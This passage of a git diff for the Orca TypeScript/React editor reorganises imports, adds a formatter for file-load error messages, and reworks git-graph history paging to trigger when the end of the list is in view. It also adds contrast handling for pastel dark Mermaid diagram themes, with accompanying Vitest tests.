-    fireEvent.keyDown(input, { key: 'Escape' })
-    fireEvent.blur(input)
-    expect(renameFileOnDiskMock).not.toHaveBeenCalled()
-    expect(screen.queryByLabelText('Rename file notes.md')).toBeNull()
-
-    openRenameInput()
-    fireEvent.change(getRenameInput('Rename file notes.md'), { target: { value: '   ' } })
-    fireEvent.keyDown(getRenameInput('Rename file notes.md'), { key: 'Enter' })
-    expect(renameFileOnDiskMock).not.toHaveBeenCalled()
-  })
-
-  it('drops rename mode when the active file changes', () => {
-    const rerenderPath = renderPath(baseFile())
-    openRenameInput()
-
-    const input = getRenameInput('Rename file notes.md')
-    fireEvent.change(input, { target: { value: 'renamed.md' } })
-    rerenderPath(
-      baseFile({
-        id: '/repo/other.md',
-        filePath: '/repo/other.md',
-        relativePath: 'other.md'
-      })
-    )
-
-    expect(screen.queryByLabelText('Rename file notes.md')).toBeNull()
-    expect(screen.queryByLabelText('Rename file other.md')).toBeNull()
-
-    expect(renameFileOnDiskMock).not.toHaveBeenCalled()
-  })
-})
diff --git a/src/renderer/src/components/editor/autosave/editor-autosave.ts b/src/renderer/src/components/editor/autosave/editor-autosave.ts
index e7219b0d8eb..0d09179ff5d 100644
--- a/src/renderer/src/components/editor/autosave/editor-autosave.ts
+++ b/src/renderer/src/components/editor/autosave/editor-autosave.ts
@@ -1,15 +1,15 @@
 import { joinPath } from '@/lib/path'
-import type { OpenFile } from '@/store/slices/editor/types/open-file'
 import { areLocalWindowsWslPathAliases } from '../../../../../shared/cross-platform-path'
 import { externalChangePathKeyFor } from '@/store/slices/editor/buffers/editor-buffer-identity'
-import { isLocalWindowsDesktopClient } from '@/lib/desktop-window-chrome'
+import { isLocalWindowsDesktopClient } from '@/app-shell/chrome/desktop-window-chrome'
 import {
   DEFAULT_EDITOR_AUTO_SAVE_DELAY_MS,
   MAX_EDITOR_AUTO_SAVE_DELAY_MS,
   MIN_EDITOR_AUTO_SAVE_DELAY_MS
 } from '../../../../../shared/constants'
-import { clampNumber } from '@/lib/terminal-theme'
+import { clampNumber } from '@/lib/terminal/appearance/terminal-theme'
 import { isAutosavePausedForNonUtf8File } from './editor-non-utf8-autosave-pause'
+import type { OpenFile } from '@/store/slices/editor/types/open-file'
 
 export const ORCA_EDITOR_QUIESCE_FILE_SAVES_EVENT = 'orca:editor-quiesce-file-saves'
 export const ORCA_EDITOR_EXTERNAL_FILE_CHANGE_EVENT = 'orca:editor-external-file-change'
diff --git a/src/renderer/src/components/editor/editor-dropped-file-open.ts b/src/renderer/src/components/editor/editor-dropped-file-open.ts
index b925fa2af10..052d355878f 100644
--- a/src/renderer/src/components/editor/editor-dropped-file-open.ts
+++ b/src/renderer/src/components/editor/editor-dropped-file-open.ts
@@ -1,35 +1,33 @@
-import type { EditorFileDropDestination } from './editor-file-drop-destination'
 import { toast } from 'sonner'
 import { detectLanguage } from '../../../../shared/editor-language/editor-language-detect'
 import {
   isPathInsideWorktree,
   toWorktreeRelativePath
 } from '../../../../shared/terminal/links/terminal-links'
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import { getConnectionId } from '@/lib/workspace/ownership/connection-context'
 import { basename, joinPath } from '@/lib/path'
-import type { WorktreeRuntimeOwnerState } from '@/lib/workspace/ownership/worktree-runtime-owner-state'
 import { importExternalPathsToRuntime } from '@/runtime/files/imports/runtime-file-import-client'
-import type { RuntimeFileOperationArgs } from '@/runtime/files/runtime-file-client-types'
 import { runtimeTargetEnvironmentId } from '@/runtime/rpc/targets/runtime-client-target'
-import type { RuntimeClientTarget } from '../../../../shared/runtime-client-target'
 import { translate } from '@/i18n/i18n'
 import { describeSharedDropFailureReason } from '@/lib/files/drop/drop-skip-reason-copy'
-import { captureWorktreeSshMutationExpectation } from '@/lib/ssh-mutation-expectation'
+import { captureWorktreeSshMutationExpectation } from '@/runtime/hosts/ssh/ssh-mutation-expectation'
 import { statUserOpenedPath } from '@/lib/files/access/user-opened-local-path'
 import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../shared/constants'
 import { DROP_STAGING_RELATIVE_DIR } from '../../../../shared/drop-staging-ignore'
 import { openDocumentInFloatingWorkspace } from '@/components/floating-terminal/open-document-in-floating-workspace'
 import { requireRuntimeTargetForFileOwner } from '@/lib/files/access/file-owner-runtime-target'
 import { parseExecutionHostId } from '../../../../shared/execution-host'
-import {
-  isResolvedWorkspaceFileDragExecutionHost,
-  type WorkspaceFileDragSource
-} from '@/lib/files/drop/workspace-file-drag'
+import { isResolvedWorkspaceFileDragExecutionHost } from '@/lib/files/drop/workspace-file-drag'
+import type { WorkspaceFileDragSource } from '@/lib/files/drop/workspace-file-drag'
 import {
   captureFileExplorerOperationGuard,
   getFileExplorerOperationOwner
 } from '../right-sidebar/file-explorer/navigation/file-explorer-operation-owner'
+import type { EditorFileDropDestination } from './editor-file-drop-destination'
+import type { WorktreeRuntimeOwnerState } from '@/lib/workspace/ownership/worktree-runtime-owner-state'
+import type { RuntimeFileOperationArgs } from '@/runtime/files/runtime-file-client-types'
+import type { RuntimeClientTarget } from '../../../../shared/runtime-client-target'
 
 export function shouldUploadRemoteEditorFileDrop(
   target: RuntimeClientTarget,
diff --git a/src/renderer/src/components/editor/external-changes/ExternalFileChangeCompareDialog.tsx b/src/renderer/src/components/editor/external-changes/ExternalFileChangeCompareDialog.tsx
index 77a10ab494e..7d9d7f757d4 100644
--- a/src/renderer/src/components/editor/external-changes/ExternalFileChangeCompareDialog.tsx
+++ b/src/renderer/src/components/editor/external-changes/ExternalFileChangeCompareDialog.tsx
@@ -15,7 +15,7 @@ import { editorTabFileAccess } from '@/lib/files/access/local-file-access'
 import { detectLanguage } from '../../../../../shared/editor-language/editor-language-detect'
 import { readRuntimeFileContent } from '@/runtime/files/reads/runtime-file-read-client'
 import {
-  FILE_OWNER_UNRESOLVED_MESSAGE,
+  fileOwnerUnresolvedMessage,
   getRuntimeTargetForFileOwner
 } from '@/lib/files/access/file-owner-runtime-target'
 import { useAppStore } from '@/store/index'
@@ -64,7 +64,7 @@ export function ExternalFileChangeCompareDialog({
       file.runtimeEnvironmentId
     )
     if (!target) {
-      setDiskState({ kind: 'error', message: FILE_OWNER_UNRESOLVED_MESSAGE })
+      setDiskState({ kind: 'error', message: fileOwnerUnresolvedMessage() })
       return
     }
     void readRuntimeFileContent({
diff --git a/src/renderer/src/components/editor/file-load-error-copy.ts b/src/renderer/src/components/editor/file-load-error-copy.ts
new file mode 100644
index 00000000000..48efd20962c
--- /dev/null
+++ b/src/renderer/src/components/editor/file-load-error-copy.ts
@@ -0,0 +1,60 @@
+import { translate } from '@/i18n/i18n'
+import {
+  REMOTE_FILE_CHANGED_DURING_READ_MESSAGE,
+  REMOTE_FILE_PAGED_READ_UNSUPPORTED_MESSAGE,
+  REMOTE_PATH_IS_DIRECTORY_MESSAGE
+} from '@/runtime/files/reads/runtime-paged-file-read'
+
+const PATH_ACCESS_DENIED_PREFIX = 'Access denied: path resolves outside allowed directories'
+
+function unwrapIpcErrorMessage(message: string): string {
+  const match = message.match(/Error invoking remote method '[^']*': (?:Error: )?(.+)/)
+  return match ? match[1] : message
+}
+
+export function formatFileLoadErrorMessage(message: string): string {
+  const unwrapped = unwrapIpcErrorMessage(message)
+  const missingFile = unwrapped.match(/^ENOENT: no such file or directory, open ([\s\S]+)$/)
+  if (missingFile) {
+    return translate(
+      'auto.components.editor.fileLoadError.fileNotFound',
+      'ENOENT: no such file or directory, open {{path}}',
+      { path: missingFile[1] }
+    )
+  }
+  if (unwrapped.startsWith(PATH_ACCESS_DENIED_PREFIX)) {
+    return translate(
+      'auto.components.editor.fileLoadError.pathAccessDenied',
+      'Access denied: path resolves outside allowed directories. If this blocks a legitimate workflow, please file a GitHub issue.'
+    )
+  }
+  if (unwrapped === REMOTE_FILE_CHANGED_DURING_READ_MESSAGE) {
+    return translate(
+      'auto.components.editor.fileLoadError.changedDuringRead',
+      'File changed on disk while it was loading. Reload the file to see the latest version.'
+    )
+  }
+  if (unwrapped === REMOTE_PATH_IS_DIRECTORY_MESSAGE) {
+    return translate(
+      'auto.components.editor.fileLoadError.remotePathIsDirectory',
+      'Remote path is a directory'
+    )
+  }
+  if (unwrapped === REMOTE_FILE_PAGED_READ_UNSUPPORTED_MESSAGE) {
+    return translate(
+      'auto.components.editor.fileLoadError.remotePagedReadUnsupported',
+      'Remote file is larger than the 512 KB this Orca server can send. Update the server to open it.'
+    )
+  }
+  const tooLarge = unwrapped.match(
+    /^Remote file is too large to open in the editor \((\d+) bytes\)$/
+  )
+  if (tooLarge) {
+    return translate(
+      'auto.components.editor.fileLoadError.remoteFileTooLarge',
+      'Remote file is too large to open in the editor ({{bytes}} bytes)',
+      { bytes: tooLarge[1] }
+    )
+  }
+  return unwrapped
+}
diff --git a/src/renderer/src/components/editor/git-graph/git-graph-history-controller.ts b/src/renderer/src/components/editor/git-graph/git-graph-history-controller.ts
index cd5a139ea05..359bdde7739 100644
--- a/src/renderer/src/components/editor/git-graph/git-graph-history-controller.ts
+++ b/src/renderer/src/components/editor/git-graph/git-graph-history-controller.ts
@@ -268,15 +268,18 @@ export class GitGraphHistoryController {
       if (!current()) {
         return undefined
       }
-      const result = error !== undefined ? previous : (accumulated ?? previous)
-      const selection = this.view.getState().selectedId
-      const selectedId =
-        result?.items.find((item) => item.id === selection)?.id ?? result?.items[0]?.id
-      const selectionGone = selection !== undefined && selection !== selectedId
+      // A page that added nothing keeps the result identity, so viewport paging can't repeat it.
+      const stalled =
+        append && !recovered && accumulated?.hasMore && items.length === previous?.items.length
+      const result = error !== undefined || stalled ? previous : (accumulated ?? previous)
+      const selected = this.view.getState().selectedId
+      const selectedId = result?.items.find(({ id }) => id === selected)?.id ?? result?.items[0]?.id
+      const selectionGone = selected !== undefined && selected !== selectedId
       if (selectionGone) {
         this.actions.cancel()
         this.scrollOffset = 0
       }
+      this.pending = undefined
       this.view.setState({
         result,
         error,
diff --git a/src/renderer/src/components/editor/git-graph/git-graph-rendering.test.tsx b/src/renderer/src/components/editor/git-graph/git-graph-rendering.test.tsx
index 61a4f918161..e4340803411 100644
--- a/src/renderer/src/components/editor/git-graph/git-graph-rendering.test.tsx
+++ b/src/renderer/src/components/editor/git-graph/git-graph-rendering.test.tsx
@@ -13,7 +13,11 @@ import * as commitSupport from '@/runtime/source-control/git/git-commit-actions-
 import { useGitGraphHistory } from './use-git-graph-history'
 import type { GitHistoryResult } from '../../../../../shared/git/history/git-history-types'
 
-const { getHistory, getRefs } = vi.hoisted(() => ({ getHistory: vi.fn(), getRefs: vi.fn() }))
+const { getHistory, getRefs, viewport } = vi.hoisted(() => ({
+  getHistory: vi.fn(),
+  getRefs: vi.fn(),
+  viewport: { rows: 20, rendered: Infinity }
+}))
 vi.mock('@/runtime/source-control/git/runtime-git-status-client', async (original) => ({
   ...(await original<object>()),
   getRuntimeGitHistory: getHistory,
@@ -27,7 +31,15 @@ vi.mock('@tanstack/react-virtual', () => ({
   useVirtualizer: (options: { count: number; getScrollElement: () => HTMLElement | null }) => ({
     getTotalSize: () => options.count * 28,
     getVirtualItems: () =>
-      Array.from({ length: options.count }, (_, index) => ({ index, start: index * 28 })),
+      Array.from({ length: Math.min(options.count, viewport.rendered) }, (_, index) => ({
+        index,
+        start: index * 28
+      })),
+    get range() {
+      return options.count
+        ? { startIndex: 0, endIndex: Math.min(options.count, viewport.rows) - 1 }
+        : null
+    },
     measureElement: () => {},
     scrollToIndex: (index: number) => {
       const element = options.getScrollElement()
@@ -53,6 +65,8 @@ beforeEach(() => {
 afterEach(async () => {
   await act(async () => root.unmount())
   root = createRoot(container)
+  viewport.rows = 20
+  viewport.rendered = Infinity
   disposeGitGraphHistory(`${workspaceId}::git-graph`)
   useAppStore.setState(initialState, true)
   vi.restoreAllMocks()
@@ -520,3 +534,115 @@ it('keeps the confirm strip across tab switches, discarding it on navigation, fi
   await act(async () => root.render(render()))
   expect(container.textContent).not.toContain('Revert a?')
 })
+const longHistory = Array.from({ length: 200 }, (_, index) => ({
+  id: `commit-${index}`,
+  subject: `Commit ${index}`,
+  message: `Commit ${index}`,
+  parentIds: []
+}))
+const longPage = (skip: number): GitHistoryResult => ({
+  ...result,
+  refs: 'all',
+  historyToken: 'long',
+  items: longHistory.slice(skip, skip + 50),
+  hasMore: skip + 50 < longHistory.length
+})
+const renderTab = () =>
+  act(async () =>
+    root.render(
+      <TooltipProvider>
+        <GitGraphTab worktreeId={workspaceId} />
+      </TooltipProvider>
+    )
+  )
+const loadedCount = () => gitGraphHistoryForTab(workspaceId).view.getState().result?.items.length
+
+it('pages a pane taller than the loaded commits until they overflow it, and again when it grows', async () => {
+  viewport.rows = 120
+  getHistory.mockReset().mockImplementation(async (_owner, options) => longPage(options.skip))
+  await renderTab()
+  expect(loadedCount()).toBe(150)
+  viewport.rows = 400
+  await renderTab()
+  expect(loadedCount()).toBe(200)
+  expect(container.textContent).not.toContain('Load more')
+})
+
+it('leaves a failed page to Load more, even after switching tabs away and back', async () => {
+  viewport.rows = Infinity
+  getHistory
+    .mockReset()
+    .mockResolvedValueOnce(longPage(0))
+    .mockRejectedValueOnce(new Error('network down'))
+    .mockImplementation(async (_owner, options) => longPage(options.skip))
+  await renderTab()
+  await act(async () => root.render(<div>Another tab</div>))
+  await renderTab()
+  expect(loadedCount()).toBe(50)
+  expect(container.textContent).toContain('network down')
+  await act(async () => {
+    Array.from(container.querySelectorAll('button'))
+      .find((button) => button.textContent === 'Load more')!
+      .click()
+  })
+  expect(loadedCount()).toBe(200)
+})
+
+it('stops paging on a page that adds no commits, and ends on an empty last page', async () => {
+  viewport.rows = Infinity
+  getHistory.mockReset().mockResolvedValue(longPage(0))
+  await renderTab()
+  await renderTab()
+  expect(loadedCount()).toBe(50)
+  expect(getHistory).toHaveBeenCalledTimes(2)
+  getHistory.mockResolvedValue({ ...longPage(0), items: [], hasMore: false })
+  await act(async () => {
+    await gitGraphHistoryForTab(workspaceId).loadMore()
+  })
+  expect(container.textContent).not.toContain('Load more')
+})
+
+it.each([50_000, 500_000])(
+  'releases %i commits of replaced history while the pane stays mounted',
+  async (count) => {
+    viewport.rows = Infinity
+    viewport.rendered = 40
+    getHistory
+      .mockReset()
+      .mockImplementationOnce(async () => ({
+        ...result,
+        refs: 'all',
+        hasMore: true,
+        items: Array.from({ length: count }, (_, index) => ({
+          id: `old-${index}`,
+          subject: `Old ${index}`,
+          message: `Old ${index}`,
+          parentIds: []
+        }))
+      }))
+      .mockRejectedValueOnce(new Error('network down'))
+      .mockResolvedValue({ ...result, refs: 'head' })
+    await renderTab()
+    const replaced = (() => {
+      const loaded = gitGraphHistoryForTab(workspaceId).view.getState().result!
+      expect(loaded.items).toHaveLength(count)
+      return new WeakRef(loaded)
+    })()
+    await act(async () =>
+      useAppStore.setState({ gitGraphFiltersByWorktree: { [workspaceId]: 'head' } })
+    )
+    await act(async () => {
+      await gitGraphHistoryForTab(workspaceId).settledResult()
+    })
+    expect(loadedCount()).toBe(1)
+    getHistory.mockReset()
+    if (typeof globalThis.gc !== 'function') {
+      throw new Error('Run with the repository Vitest --expose-gc config')
+    }
+    for (let round = 0; round < 3; round++) {
+      await new Promise<void>((resolve) => setImmediate(resolve))
+      globalThis.gc()
+    }
+    expect(replaced.deref()).toBeUndefined()
+  }
+)
diff --git a/src/renderer/src/components/editor/git-graph/git-graph-tab.tsx b/src/renderer/src/components/editor/git-graph/git-graph-tab.tsx
index 4e581dd97fc..359c7035182 100644
--- a/src/renderer/src/components/editor/git-graph/git-graph-tab.tsx
+++ b/src/renderer/src/components/editor/git-graph/git-graph-tab.tsx
@@ -3,7 +3,7 @@ import {
   GitGraphCommitActionControls,
   GitGraphCommitConfirmStrip
 } from './git-graph-commit-action-controls'
-import { useCallback, useLayoutEffect, useMemo, useRef, useState } from 'react'
+import { useCallback, useEffect, useLayoutEffect, useMemo, useRef, useState } from 'react'
 import { useSidebarResize } from '@/hooks/useSidebarResize'
 import { useVirtualizer } from '@tanstack/react-virtual'
 import { RefreshCw } from 'lucide-react'
@@ -20,18 +20,21 @@ import {
 } from '../../../../../shared/git/history/git-history-graph'
 import { useGitGraphHistory, gitGraphFilterSupported } from './use-git-graph-history'
 import { GitGraphFilter } from './git-graph-filter'
+import { loadMoreInView } from './git-graph-viewport-paging'
 import { GitGraphDetails } from './git-graph-details'
 import { GitGraphRefs, useGitGraphWorkspaces } from './git-graph-ref-menu'
 import { cn } from '@/lib/class-names'
 import { useIntlLocale, useTranslate } from '@/i18n/use-translate'
 
 const sameGroup = () => undefined
+// About 200px of rows, so scrolling fetches before the end shows.
+const PAGE_AHEAD_ROWS = 8
 
 export function GitGraphTab({ worktreeId }: { worktreeId: string }) {
   const t = useTranslate()
   const intlLocale = useIntlLocale()
   const history = useGitGraphHistory(worktreeId)
-  const { result, scope, selectedId, revealId, controller } = history
+  const { result, scope, selectedId, revealId, controller, loading } = history
   const commitActionSupport = useGitCommitActionsSupport(
     scope?.target ?? null,
     scope?.route.executionHostId ?? undefined
@@ -88,6 +91,16 @@ export function GitGraphTab({ worktreeId }: { worktreeId: string }) {
     overscan: 12,
     getItemKey: (index) => rows[index]!.historyItem.id
   })
+  const virtualItems = virtualizer.getVirtualItems()
+  // Null while the pane has no height; read after getVirtualItems() recomputes it.
+  const lastVisibleIndex = virtualizer.range?.endIndex ?? -1
+  const endInView = lastVisibleIndex >= 0 && lastVisibleIndex >= rows.length - 1 - PAGE_AHEAD_ROWS
+  useEffect(() => {
+    // Viewport demand, not scroll events: page whenever the end of loaded rows is in view.
+    if (endInView) {
+      loadMoreInView(controller, result)
+    }
+  }, [endInView, result, loading, controller])
   const selected = result?.items.find((item) => item.id === selectedId)
   useLayoutEffect(() => {
     if (scroll.current) {
@@ -189,20 +202,13 @@ export function GitGraphTab({ worktreeId }: { worktreeId: string }) {
               if (element) {
                 controller.scrollOffset = element.scrollTop
               }
-              if (
-                element &&
-                element.scrollHeight - element.scrollTop - element.clientHeight < 200 &&
-                !history.loading
-              ) {
-                void history.loadMore()
-              }
             }}
           >
             <div
               className="relative min-w-max"
               style={{ height: virtualizer.getTotalSize(), minWidth: draftGraphWidth + 604 }}
             >
-              {virtualizer.getVirtualItems().map((virtualRow) => {
+              {virtualItems.map((virtualRow) => {
                 const viewModel = rows[virtualRow.index]!
                 const item = viewModel.historyItem
                 return (
diff --git a/src/renderer/src/components/editor/git-graph/git-graph-viewport-paging.ts b/src/renderer/src/components/editor/git-graph/git-graph-viewport-paging.ts
new file mode 100644
index 00000000000..1b1145571a7
--- /dev/null
+++ b/src/renderer/src/components/editor/git-graph/git-graph-viewport-paging.ts
@@ -0,0 +1,18 @@
+import type { GitGraphHistoryController } from './git-graph-history-controller'
+import type { GitHistoryResult } from '../../../../../shared/git/history/git-history-types'
+
+// Keyed by result so it outlives tab remounts without keeping replaced history alive.
+const pagedInView = new WeakSet<GitHistoryResult>()
+
+/** Asks for the next page once per result; a failed or no-progress page keeps its result, so only Load more or Refresh retries it. */
+export function loadMoreInView(
+  controller: GitGraphHistoryController,
+  rendered: GitHistoryResult | undefined
+): void {
+  const { result, loading } = controller.view.getState()
+  // Only page the result whose rows were measured in view; a newer one gets its own check.
+  if (result && result === rendered && result.hasMore && !loading && !pagedInView.has(result)) {
+    pagedInView.add(result)
+    void controller.loadMore()
+  }
+}
diff --git a/src/renderer/src/components/editor/markdown-preview/links/markdown-preview-link-actions.ts b/src/renderer/src/components/editor/markdown-preview/links/markdown-preview-link-actions.ts
index 8da806ffd8d..e0df54cdc63 100644
--- a/src/renderer/src/components/editor/markdown-preview/links/markdown-preview-link-actions.ts
+++ b/src/renderer/src/components/editor/markdown-preview/links/markdown-preview-link-actions.ts
@@ -6,7 +6,7 @@ import {
   isLocalPathOpenBlocked,
   showLocalPathOpenBlockedToast
 } from '@/lib/files/os-open/local-path-open-guard'
-import { getLinkSourceLocalOpenOwner } from '@/lib/link-source-local-open-owner'
+import { getLinkSourceLocalOpenOwner } from '@/lib/links/ownership/link-source-local-open-owner'
 import { openHttpLink } from '@/lib/browser/navigation/http-link-routing'
 import { translate } from '@/i18n/i18n'
 import { requireRuntimeTargetForFileOwner } from '@/lib/files/access/file-owner-runtime-target'
diff --git a/src/renderer/src/components/editor/markdown-preview/links/markdown-preview-system-link-action.ts b/src/renderer/src/components/editor/markdown-preview/links/markdown-preview-system-link-action.ts
index 65b1398fe15..2c13bc007a2 100644
--- a/src/renderer/src/components/editor/markdown-preview/links/markdown-preview-system-link-action.ts
+++ b/src/renderer/src/components/editor/markdown-preview/links/markdown-preview-system-link-action.ts
@@ -5,19 +5,19 @@ import {
   showLocalPathOpenBlockedToast
 } from '@/lib/files/os-open/local-path-open-guard'
 import { openHttpLink } from '@/lib/browser/navigation/http-link-routing'
-import { getLinkSourceLocalOpenOwner } from '@/lib/link-source-local-open-owner'
+import { getLinkSourceLocalOpenOwner } from '@/lib/links/ownership/link-source-local-open-owner'
 import { useAppStore } from '@/store/index'
 import {
   absolutePathToFileUri,
   resolveMarkdownLinkTarget
 } from '../../markdown/link-routing/markdown-internal-links'
 import { openMarkdownFileLinkWithSystemDefault } from '../../markdown/link-routing/markdown-file-link-system-open'
-import type { MarkdownPreviewLinkContext } from './markdown-preview-link-actions'
 import {
   getMarkdownPreviewLinkTarget,
   isMarkdownPreviewSystemBrowserModifier,
   resolveMarkdownPreviewHttpOpenOptions
 } from '../../markdown/link-routing/markdown-preview-links'
+import type { MarkdownPreviewLinkContext } from './markdown-preview-link-actions'
 
 export function handleMarkdownPreviewSystemLinkClick({
   event,
diff --git a/src/renderer/src/components/editor/mermaid-config.test.ts b/src/renderer/src/components/editor/mermaid-config.test.ts
index 3da9ab84853..390435c48bb 100644
--- a/src/renderer/src/components/editor/mermaid-config.test.ts
+++ b/src/renderer/src/components/editor/mermaid-config.test.ts
@@ -13,6 +13,16 @@ const darkColors = {
   border: '#8ec5ff'
 }
 
+// Catppuccin Mocha: pastel chart tokens on a dark background.
+const pastelDarkColors = {
+  background: '#1e1e2e',
+  foreground: '#cdd6f4',
+  primary: '#f5c2e7',
+  secondary: '#fab387',
+  tertiary: '#a6e3a1',
+  border: '#cba6f7'
+}
+
 function luminance(color: string | boolean | undefined): number {
   if (typeof color !== 'string') {
     throw new Error('Expected a resolved Mermaid color')
@@ -28,10 +38,10 @@ function luminance(color: string | boolean | undefined): number {
   return channels[0] * 0.2126 + channels[1] * 0.7152 + channels[2] * 0.0722
 }
 
-function resolvedDarkTheme(): NonNullable<
-  ReturnType<typeof mermaid.mermaidAPI.getConfig>['themeVariables']
-> {
-  mermaid.initialize(getMermaidConfig(true, darkColors))
+function resolvedDarkTheme(
+  colors = darkColors
+): NonNullable<ReturnType<typeof mermaid.mermaidAPI.getConfig>['themeVariables']> {
+  mermaid.initialize(getMermaidConfig(true, colors))
   const variables = mermaid.mermaidAPI.getConfig().themeVariables
   if (!variables) {
     throw new Error('Mermaid did not resolve the theme')
@@ -39,18 +49,35 @@ function resolvedDarkTheme(): NonNullable<
   return variables
 }
 
+function expectReadable(
+  variables: ReturnType<typeof resolvedDarkTheme>,
+  pairs: [text: string, background: string][]
+): void {
+  for (const [text, background] of pairs) {
+    const first = luminance(variables[text])
+    const second = luminance(variables[background])
+    const contrast = (Math.max(first, second) + 0.05) / (Math.min(first, second) + 0.05)
+    expect(contrast, `${text} on ${background}`).toBeGreaterThanOrEqual(4.5)
+  }
+}
+
 describe('getMermaidConfig', () => {
   it('keeps Gantt labels readable on completed and active tasks and alternate sections', () => {
-    const variables = resolvedDarkTheme()
-    for (const [text, background] of [
+    expectReadable(resolvedDarkTheme(), [
       ['taskTextDarkColor', 'doneTaskBkgColor'],
       ['taskTextDarkColor', 'activeTaskBkgColor'],
       ['taskTextOutsideColor', 'altSectionBkgColor']
-    ]) {
-      const first = luminance(variables[text])
-      const second = luminance(variables[background])
-      const contrast = (Math.max(first, second) + 0.05) / (Math.min(first, second) + 0.05)
-      expect(contrast, `${text} on ${background}`).toBeGreaterThanOrEqual(4.5)
-    }
+    ])
+  })
+
+  it('keeps labels readable on fills from a pastel dark palette', () => {
+    expectReadable(resolvedDarkTheme(pastelDarkColors), [
+      ['actorTextColor', 'actorBkg'],
+      ['nodeTextColor', 'mainBkg'],
+      ['textColor', 'clusterBkg'],
+      ['taskTextColor', 'taskBkgColor'],
+      ['taskTextClickableColor', 'taskBkgColor'],
+      ['taskTextDarkColor', 'activeTaskBkgColor']
+    ])
   })
 })
diff --git a/src/renderer/src/components/editor/mermaid-config.ts b/src/renderer/src/components/editor/mermaid-config.ts
index c727ad087f2..bae98aa3d25 100644
--- a/src/renderer/src/components/editor/mermaid-config.ts
+++ b/src/renderer/src/components/editor/mermaid-config.ts
@@ -1,4 +1,6 @@
 import type mermaid from 'mermaid'
+import { hexToRgb, readableOn, rgbaToHex } from '../../../../shared/color/rgba-contrast'
+import { READABLE_CONTRAST } from '../../../../shared/mermaid-flowchart-contrast'
 
 export type MermaidThemeColors = {
   background: string
@@ -20,33 +22,54 @@ export function getMermaidConfig(
     // The legacy dark theme removes color from flowcharts.
     theme: isDark ? (colors ? 'base' : 'dark') : 'default',
     darkMode: isDark,
-    ...(isDark && colors
-      ? {
-          themeVariables: {
-            darkMode: true,
-            background: colors.background,
-            primaryColor: colors.primary,
-            secondaryColor: colors.secondary,
-            tertiaryColor: colors.tertiary,
-            primaryTextColor: colors.foreground,
-            secondaryTextColor: colors.foreground,
-            tertiaryTextColor: colors.foreground,
-            primaryBorderColor: colors.border,
-            secondaryBorderColor: colors.border,
-            tertiaryBorderColor: colors.border,
-            lineColor: colors.foreground,
-            textColor: colors.foreground,
-            edgeLabelBackground: colors.background,
-            // Base defaults to light Gantt surfaces even when darkMode is enabled.
-            altSectionBkgColor: colors.background,
-            excludeBkgColor: colors.background,
-            doneTaskBkgColor: colors.background,
-            doneTaskBorderColor: colors.border,
-            activeTaskBkgColor: colors.secondary
-          }
-        }
-      : {}),
+    ...(isDark && colors ? { themeVariables: darkThemeVariables(colors) } : {}),
     // Strict mode sanitizes label HTML; sanitizeMermaidSvg keeps the foreignObject labels it emits.
     htmlLabels: true
   }
 }
+
+function darkThemeVariables(colors: MermaidThemeColors): Record<string, string | boolean> {
+  // Mermaid draws dark-mode labels in the foreground colour, so darken a pastel chart token until it reads.
+  const surface = (fill: string): string =>
+    rgbaToHex(readableOn(hexToRgb(fill), [hexToRgb(colors.foreground)], true, READABLE_CONTRAST))
+  // Seeds stay the theme's because git and venn pair them with their own label colours. Fills are
+  // pinned only when tinted, so otherwise a diagram's own primaryColor/tertiaryColor still drives them.
+  const tinted = (fill: string, keys: string[]): Record<string, string> => {
+    const readable = surface(fill)
+    return readable === fill.toLowerCase()
+      ? {}
+      : Object.fromEntries(keys.map((key) => [key, readable]))
+  }
+  return {
+    darkMode: true,
+    background: colors.background,
+    primaryColor: colors.primary,
+    secondaryColor: colors.secondary,
+    tertiaryColor: colors.tertiary,
+    ...tinted(colors.primary, [
+      'mainBkg',
+      'requirementBackground',
+      'taskBkgColor',
+      'tagLabelBackground'
+    ]),
+    ...tinted(colors.secondary, ['secondBkg']),
+    ...tinted(colors.tertiary, ['clusterBkg', 'labelBackground']),
+    primaryTextColor: colors.foreground,
+    secondaryTextColor: colors.foreground,
+    tertiaryTextColor: colors.foreground,
+    primaryBorderColor: colors.border,
+    secondaryBorderColor: colors.border,
+    tertiaryBorderColor: colors.border,
+    lineColor: colors.foreground,
+    textColor: colors.foreground,
+    edgeLabelBackground: colors.background,
+    // Base defaults to light Gantt surfaces even when darkMode is enabled.
+    altSectionBkgColor: colors.background,
+    excludeBkgColor: colors.background,
+    doneTaskBkgColor: colors.background,
+    doneTaskBorderColor: colors.border,
+    // Base's dark-blue clickable label is drawn for light bars, inside and beside the bar.
+    taskTextClickableColor: colors.foreground,
+    activeTaskBkgColor: surface(colors.secondary)
+  }
+}
diff --git a/src/renderer/src/components/editor/notebook/document/useIpynbDocumentEditing.test.tsx b/src/renderer/src/components/editor/notebook/document/useIpynbDocumentEditing.test.tsx
index 57c9d27e0ad..5c2f50535af 100644
--- a/src/renderer/src/components/editor/notebook/document/useIpynbDocumentEditing.test.tsx
+++ b/src/renderer/src/components/editor/notebook/document/useIpynbDocumentEditing.test.tsx
@@ -9,11 +9,11 @@ import { useIpynbDocumentEditing } from './useIpynbDocumentEditing'
 import { EMPTY_EDITOR_BUFFER_VIEW_INDEX as NO_SHARING } from '@/store/slices/editor/buffers/editor-buffer-views'
 import type * as StaleViewEdit from '../../save/flush/editor-stale-view-edit'
 import { notifyStaleViewEditRejected } from '../../save/flush/editor-stale-view-edit'
+import { discardEditorBuffer } from '../../save/flush/discard-editor-file-changes'
 
 vi.mock('../../save/flush/editor-stale-view-edit', async (importOriginal) => ({
   ...(await importOriginal<typeof StaleViewEdit>()),
-  notifyStaleViewEditRejected: vi.fn(),
-  staleViewEditEpoch: vi.fn(() => 0)
+  notifyStaleViewEditRejected: vi.fn()
 }))
 
 function renderSplitPanes(initialContent: string) {
@@ -129,6 +129,32 @@ describe('notebook document editing lifecycle', () => {
     expect(Object.hasOwn(hook.result.current.sourceDrafts, 'a')).toBe(false)
   })
 
+  it('drops pending discarded cells and accepts typing begun afterwards', async () => {
+    const content = notebookContent()
+    const committed: string[] = []
+    const hook = renderHook(() =>
+      useIpynbDocumentEditing({
+        content,
+        fileId: 'discard-notebook',
+        notebook: parseIpynb(content),
+        onContentChange: (text) => committed.push(text),
+        onDirtyStateHint: vi.fn(),
+        onDeactivateEditor: vi.fn()
+      })
+    )
+    await act(async () => {
+      hook.result.current.updateCellSource(0, 'discarded draft')
+      const release = await discardEditorBuffer('discard-notebook')
+      release()
+    })
